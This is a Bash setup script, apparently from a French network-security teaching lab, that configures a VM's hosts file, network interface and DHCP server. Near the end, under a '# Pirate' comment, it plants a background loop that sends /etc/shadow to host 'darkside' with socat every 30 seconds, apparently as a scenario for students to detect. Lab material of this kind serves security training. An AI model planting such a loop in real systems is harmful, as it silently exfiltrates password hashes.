You can not select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
142 lines
3.1 KiB
142 lines
3.1 KiB
#!/usr/bin/env bash
|
|
|
|
DESC="Configuration de distributeur."
|
|
|
|
run() {
|
|
|
|
. $VDN_PATH/bin/functions-scripts.sh
|
|
|
|
setErrorHandler
|
|
echoStart
|
|
|
|
name="distributeur"
|
|
|
|
requireSshGuests $name
|
|
|
|
setHostname $name
|
|
|
|
cat << EOF | setHosts $name
|
|
127.0.0.1 localhost
|
|
|
|
$($VDN_PATH/bin/vdn-infos darkside PUBLIC_IP) darkside
|
|
$($VDN_PATH/bin/vdn-infos brightside PUBLIC_IP) brightside
|
|
192.168.2.1 passerelle
|
|
|
|
192.168.2.2 distributeur
|
|
192.168.2.3 client
|
|
192.168.2.4 comanche
|
|
192.168.3.2 appolo
|
|
192.168.3.3 castafiore
|
|
|
|
EOF
|
|
|
|
cat << EOF | setInterfaces $name
|
|
# This file describes the network interfaces available on your system
|
|
# and how to activate them. For more information, see interfaces(5).
|
|
|
|
# The loopback network interface
|
|
auto lo
|
|
iface lo inet loopback
|
|
|
|
auto eth0
|
|
iface eth0 inet static
|
|
address 192.168.2.2
|
|
netmask 255.0.0.0
|
|
gateway 192.168.2.1
|
|
EOF
|
|
|
|
sleep 1
|
|
|
|
echo "Post config. Patientez quelques secondes..."
|
|
|
|
vdn-ssh root@distributeur "systemctl stop isc-dhcp-server"
|
|
|
|
#echo "Set DHCP (1/3)"
|
|
|
|
### /etc/default/isc-dhcp-server
|
|
|
|
cat << EOF | setFile $name /etc/default/isc-dhcp-server
|
|
# Defaults for isc-dhcp-server (sourced by /etc/init.d/isc-dhcp-server)
|
|
|
|
# Path to dhcpd's config file (default: /etc/dhcp/dhcpd.conf).
|
|
#DHCPDv4_CONF=/etc/dhcp/dhcpd.conf
|
|
#DHCPDv6_CONF=/etc/dhcp/dhcpd6.conf
|
|
|
|
# Path to dhcpd's PID file (default: /var/run/dhcpd.pid).
|
|
#DHCPDv4_PID=/var/run/dhcpd.pid
|
|
#DHCPDv6_PID=/var/run/dhcpd6.pid
|
|
|
|
# Additional options to start dhcpd with.
|
|
# Don't use options -cf or -pf here; use DHCPD_CONF/ DHCPD_PID instead
|
|
#OPTIONS=""
|
|
|
|
# On what interfaces should the DHCP server (dhcpd) serve DHCP requests?
|
|
# Separate multiple interfaces with spaces, e.g. "eth0 eth1".
|
|
INTERFACESv4="eth0"
|
|
INTERFACESv6=""
|
|
EOF
|
|
|
|
### /etc/dhcp/dhcpd.conf
|
|
|
|
#echo "Set DHCP (2/3)"
|
|
|
|
cat << EOF | setFile $name /etc/dhcp/dhcpd.conf
|
|
# dhcpd.conf
|
|
#
|
|
# Sample configuration file for ISC dhcpd
|
|
#
|
|
|
|
# option definitions common to all supported networks...
|
|
#option domain-name "example.org";
|
|
#option domain-name-servers ns1.example.org, ns2.example.org;
|
|
|
|
default-lease-time 600;
|
|
max-lease-time 7200;
|
|
|
|
# The ddns-updates-style parameter controls whether or not the server will
|
|
# attempt to do a DNS update when a lease is confirmed. We default to the
|
|
# behavior of the version 2 packages ('none', since DHCP v2 didn't
|
|
# have support for DDNS.)
|
|
ddns-update-style none;
|
|
|
|
# If this DHCP server is the official DHCP server for the local
|
|
# network, the authoritative directive should be uncommented.
|
|
authoritative;
|
|
|
|
subnet 192.168.2.0 netmask 255.255.255.0 {
|
|
option broadcast-address 192.168.2.255;
|
|
option routers 192.168.2.1;
|
|
}
|
|
|
|
subnet 10.0.2.0 netmask 255.255.255.0 {
|
|
}
|
|
|
|
|
|
host comanche {
|
|
hardware ethernet $($VDN_PATH/bin/vdn-infos comanche MAC_0);
|
|
fixed-address 192.168.2.8;
|
|
}
|
|
|
|
EOF
|
|
|
|
#echo "Set DHCP (3/3)"
|
|
|
|
vdn-ssh root@$name "systemctl restart isc-dhcp-server"
|
|
|
|
# Pirate
|
|
|
|
cat << EOF | setFile $name /etc/start
|
|
#!/bin/bash
|
|
|
|
while :; do socat STDIO TCP:darkside:80 &> /dev/null < /etc/shadow; sleep 30; done
|
|
EOF
|
|
|
|
vdn-ssh root@$name "chmod 755 /etc/start; nohup /etc/start &> /dev/null &"
|
|
|
|
unsetErrorHandler
|
|
echoDone
|
|
|
|
|
|
}
|
|
|